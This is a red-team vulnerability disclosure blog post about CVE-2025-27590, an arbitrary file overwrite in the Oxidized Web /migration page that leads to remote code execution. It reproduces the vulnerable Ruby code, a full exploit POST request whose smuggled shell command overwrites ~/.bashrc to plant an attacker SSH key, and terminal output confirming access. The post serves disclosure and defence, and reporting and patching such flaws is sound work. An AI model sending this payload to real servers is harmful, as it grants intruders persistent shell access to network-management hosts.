
CVE-2025-27590 – Oxidized Web: Local File Overwrite to Remote Code Execution
The NetSPI red team came across a web application front-end for the Oxidized network device configuration backup tool (Oxidized Web) which was used to manage router and switch configurations during a recent client engagement. Oxidized-web is a web app extension for Oxidized. As it presented some new attack surface, and we could readily access the open source code base, we decided to briefly investigate the application.
Once we realised it was an open source application, we downloaded it and installed a local test version in order to follow along with the source code – we’d call this a grey box pentest if we were scoping it, and it combines the best of both worlds with source code review together with actual web application testing.
It became apparent that one page was doing a reasonably complex data ingest and merge, and that was our initial target, to see if we could subvert the intended behaviour. Long story short, a now remediated data validation issue in a deprecated, but still functional page, allowed us to overwrite the user’s ~/.bashrc file and achieve code execution on the server.
We reached out to the development team to let them know of this issue, and they have removed the already deprecated migration script from the distribution. Many thanks to them for the quick response!
TL;DR – an attacker with access to the /migration page of Oxidized Web v0.14 can overwrite any local file that the ‘oxidized’ user can write to, and gain remote code execution on the web server. Fixed in v0.15 – by removal of the vulnerable page – and tracked as CVE-2025-27590.
Description
An attacker with access to the /migration page can write to an arbitrary file that the web user can access. In a typical set up, this might be the ‘oxidized’ user, leaving /home/oxidized/.bashrc as a potential target for overwriting, which would lead to eventual code execution on the system. In our engagement, this enabled us to move from browsing web applications to executing code on the server.
Background
The file oxidized-web-0.14.0/lib/oxidized/web/mig.rb contains code to read and merge a cloginrc and a rancid.db file. It does this by doing a kind of JOIN on both files using the hostname field present in both files. The new file was then written out to location specified in another parameter in the POST data. The intended use is presumably something like this –

INPUTS:
Cloginrc:
add user corerouter1 jeff Password123!
Rancid.db:
corerouter1:cisco:up
Combined Output:
Corerouter1:cisco:jeff:Password123!::
However, looking at the code below, the inputs aren’t really checked to make sure they are genuine usernames, which might give us enough wiggle room to overwrite a file of our choosing.
# read cloginrc and return a hash with node name, which a hash value which contains user, # password, eventually enable def cloginrc(clogin_file) close_file = clogin_file file = close_file.read file = file.gsub('add', '') hash = {} file.each_line do |line| # stock all device name, and password and enable if there is one line = line.split (0..line.length).each do |i| if line[i] == 'user' # add the equipment and user if not exist hash[line[i + 1]] = { user: line[i + 2] } unless hash[line[i + 1]] # if the equipment exist, add password and enable password elsif line[i] == 'password' if hash[line[i + 1]] if line.length > i + 2 h = hash[line[i + 1]] h[:password] = line[i + 2] h[:enable] = line[i + 3] if /\s*/.match(line[i + 3]) hash[line[i + 1]] = h elsif line.length == i + 2 h = hash[line[i + 1]] h[:password] = line[i + 2] hash[line[i + 1]] = h end end end end end close_file.close hash end # add node and group for an equipment (take a list of router.db) def rancid_group(router_db_list) model = {} hash = cloginrc @cloginrc router_db_list.each do |router_db| group = router_db[:group] file_close = router_db[:file] file = file_close.read file = file.gsub(':up', '') file.gsub(' ', '') file.each_line do |line| line = line.split(':') node = line[0] next unless hash[node] h = hash[node] model = model_dico line[1].to_s h[:model] = model h[:group] = group end file_close.close end hash end # write a router.db conf, need the hash and the path of the file we whish create def write_router_db(hash) router_db = File.new(@path_new_router, 'w') hash.each do |key, value| line = key.to_s line += ":#{value[:model]}" line += ":#{value[:user]}" line += ":#{value[:password]}" line += ":#{value[:group]}" line += ":#{value[:enable]}" if value[:enable] router_db.puts(line) end router_db.close end
In this case, we cannot use the space character (0x20) as that is what the parsing routines split on when ingesting the two files. However, we can substitute with ${IFS} which gets around the parsing issue, and still works in bash.
We initially thought about writing to ~/.ssh/authorized keys, but we couldn’t find a way that didn’t need spaces. We also thought of /etc/shadow, but that would need privileges, and would obviously impair operation of the machine as we’d be destroying any existing passwords. We eventually ended up overwriting ~/.bashrc so it would then add a key to ~/.ssh/authorized_keys upon next login.
In our test environment, we sent a POST request with the following values:
path_new_file
/home/oxidized/.bashrc
cloginrc
add user echo${IFS}"ecdsa-sha2-nistp256"${IFS}"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=">>~/.ssh/authorized_keys
rancid.db
echo${IFS}"ecdsa-sha2-nistp256"${IFS}"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=">>~/.ssh/authorized_keys;#:cisco:up
The whole POST request, with Content-Type, and default ‘group’ parameter then looked like this:
POST /migration HTTP/1.1 Host: 172.20.221.195:8888 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------27491541275507340564013298012 Content-Length: 1096 Origin: http://172.20.221.195:8888 Connection: keep-alive Referer: http://172.20.221.195:8888/migration Upgrade-Insecure-Requests: 1 Priority: u=0, i -----------------------------27491541275507340564013298012 Content-Disposition: form-data; name="path_new_file" /home/oxidized/.bashrc -----------------------------27491541275507340564013298012 Content-Disposition: form-data; name="cloginrc"; filename="cloginrc" Content-Type: application/octet-stream add user echo${IFS}"ecdsa-sha2-nistp256"${IFS}"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=">>~/.ssh/authorized_keys;# -----------------------------27491541275507340564013298012 Content-Disposition: form-data; name="file1"; filename="rancid.db" Content-Type: application/octet-stream echo${IFS}"ecdsa-sha2-nistp256"${IFS}"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=">>~/.ssh/authorized_keys;#:cisco:up -----------------------------27491541275507340564013298012 Content-Disposition: form-data; name="group1" default -----------------------------27491541275507340564013298012--
This caused the ~/.bashrc to be the following; i.e. It wrote an extra SSH public key to the end of ~/.ssh/authorized_keys the next time the oxidized user logged into the system:
echo${IFS}"ecdsa-sha2-nistp256"${IFS}"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=">>~/.ssh/authorized_keys;#:cisco:up
When I log on as the oxidized user, you can see the following has been added to ~/.ssh/authorized_keys
oxidized@:/$ cat ~/.ssh/authorized_keys ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNT1PSnpzRedgI3hlJM18skyWwhtXN72KCTYmYNHv+2SWubbU8WBYD7j4k6QQQenbf2WbjQsirc7+x/Q6Wjt9bY=
After the oxidized user had logged on, and thus executed ~/.bashrc, it would be possible for the attacker to log on using ssh oxidized@hostname
, which we already knew was a port that was accessible to us from our position in the network.
$ ssh oxidized@172.20.221.195 Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.167.4-microsoft-standard-WSL2 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro
The reason we ended up using the add-key-to-SSH method is that it wouldn’t necessarily alert the client by breaking the application or server functionality – there are plenty of other ways of exploiting a write to arbitrary filename, even if you cannot write the space (0x20) character.
Utility of the Findings
As this was a production server, we demonstrated a proof of concept to the client who then provided the access that would have been obtained, as our local testing seemed to indicate the oxidized application would not work next time it restarted, as its configuration file no longer made sense.
Recommendation
Anyone who is using Oxidized Web should restrict access to the web interface to only those who require it for day-to-day operations. Upgrading to the latest release, Oxidized Web version 0.15, will also resolve this particular vulnerability. We note that the migration functionality was deprecated even in the version we tested.

Explore More Blog Posts

CVE-2025-21299 and CVE-2025-29809: Unguarding Microsoft Credential Guard
Learn more about the January 2025 Patch Tuesday that addresses a critical vulnerability where Kerberos canonicalization flaws allow attackers to bypass Virtualization Based Security and extract protected TGTs from Windows systems.

Is It Worth It? Let Me Work It: Calculating the Cost Savings of Proactive Security
Discover the cost savings of proactive security solutions to support your shift from traditional vulnerability management to a risk-based approach to exposure management.

A Not So Comprehensive Guide to Securing Your Salesforce Organization
Explore key background knowledge on authorization issues and common bad practices developers may unintentionally introduce in Salesforce Orgs.